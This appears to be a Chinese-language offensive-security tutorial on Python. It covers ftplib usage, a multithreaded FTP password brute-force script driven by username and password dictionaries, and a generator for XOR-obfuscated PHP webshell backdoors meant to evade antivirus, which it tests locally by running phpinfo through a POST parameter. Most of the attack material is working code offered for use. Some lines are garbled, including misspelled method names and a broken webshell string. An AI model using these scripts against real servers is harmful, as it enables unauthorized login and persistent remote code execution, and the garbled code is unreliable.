目录
此后如竟没有炬火,我便是唯一的光。
协议模块使用,Request爬虫技术,建议多线程技术,编码技术,Bypass后门技术
掌握利用强大的模块实现各种协议连接操作(爆破或者利用等),配合FUZZ吊打WAF等
ftp爆破需要的参数:IP、端口、用户名、密码字典
思路:
ftp常用函数:
from ftplib import FTP #加载ftp模块
ftp = FTP() # 设置变量
ftp.encoding = 'gbk' #支持中文路径和文件名
ftp.set_debuglevel(2) ##打开调试级别2,显示详细信息
ftp.connect("IP","port) #连接的ftp sever和端口
ftp.login( "user" ,"password") #连接的用户名,密码
print ftp.getwelcome() #打印出欢迎信息
ftp.cmd( "xxx/xxx") #进入远程目录
bufsize=1024 #设置的缓冲区大小
filename="filename.txt" #需要下载的文件
file_handle=open(filename, "wb " ).write #以写模式在本地打开文件
ftp.retrbinaly("RETR filename.txt",file_handle,bufsize) #接收服务器上文件并写入文件ftp.set_debuglevel(0) #关闭调试模式
ftp.quit() #退出ftp
ftp.cwd(pathname) #设置FTP当前操作的路径
ftp.dir() #显示目录下所有目录信息
ftp.nlst() #获取目录下的文件
ftp.mkd(pathname) #新建远程目录
ftp.pwd() #返回当前所在位置
ftp.rmd(dirname) #删除远程目录
ftp.delete(filename) #删除远程文件
ftp.rename(fromname,toname) #将fromname修改名称为toname。
ftp.storbinaly( "STOR filename.txt" ,file_handel,bufsize) #上传目标文件
https://blog.csdn.net/briblue/article/details/85101144https://www.cnblogs.com/j6-2/p/4645490.html
具体代码实现:
- import ftplib
- import sys
- import threading
- import queue
-
-
- #简单的模拟登录测试
- #爆破:IP,端口。用户名,密码字典
- def ftp_check(ip,port):
- ftp = ftplib.FTP()
- ftp.connect(ip, int(port))
- while not q.empty():
- userpass = q.get()
- userpass = userpass.split('|')
- username = userpass[0]
- password = userpass[1]
- #print(username+' '+password)
- try:
- ftp.login(username, password)
- list = ftp.retrlines('list')
- print('-----------------------connection successful!------------------------------')
- print(username + '|' + password)
- print(list)
- except ftplib.all_errors:
- pass
-
- if __name__ =='__main__':
- ip = sys.argv[1]
- port = sys.argv[2]
- user = sys.argv[3]
- passwd = sys.argv[4]
- threading_num = sys.argv[5]
- q = queue.Queue()
- for username in open(user):
- for password in open(passwd):
- username = username.replace('\n','')
- password = password.replace('\n','')
- #print(username+'|'+password)
- q.put(username+'|'+password)
- for x in range(int(threading_num)):
- t = threading.Thread(target=ftp_check,args=(ip,int(port)))
- t.start()
- #print(ip+'|'+port+'|'+user+'|'+passwd)

FTP服务器日志中便记载到了成功登录的信息。
参考文章:https://blog.csdn.net/qq_41617034/article/details/104441032
具体实现代码
- import requests
-
- '''
- 通过Python来制作免杀的webshell后门脚本文件
- '''
-
- for i in range(1,128):
- for j in range(1,128):
- #print(chr(i)+'|'+chr(j))
- code = "+chr(i)+"'^'"+chr(j)+"').ssert;$a($_POST[x]);?>"
- #
- with open("D:/phpstudy_pro/WWW/webshell_re/"+str(i)+"res"+str(j)+".php","a+") as f:
- f.write(code)
- f.close()
-
- url = 'http://127.0.0.1/webshell_re/'+str(i)+'res'+str(j)+'.php'
- data={
- 'x':'phpinfo();'
- }
- result = requests.post(url,data=data)
- if 'LAPTOP-S1ULNFSN' in result.text:
- print(str(i)+'res'+str(j)+'.php'+' | OK')
上面便通过生成的后门文件来执行phpinfo,成功执行。当然发现了通过异或操作得到a的方法,有很多种,如下生成的php文件都是有效的。
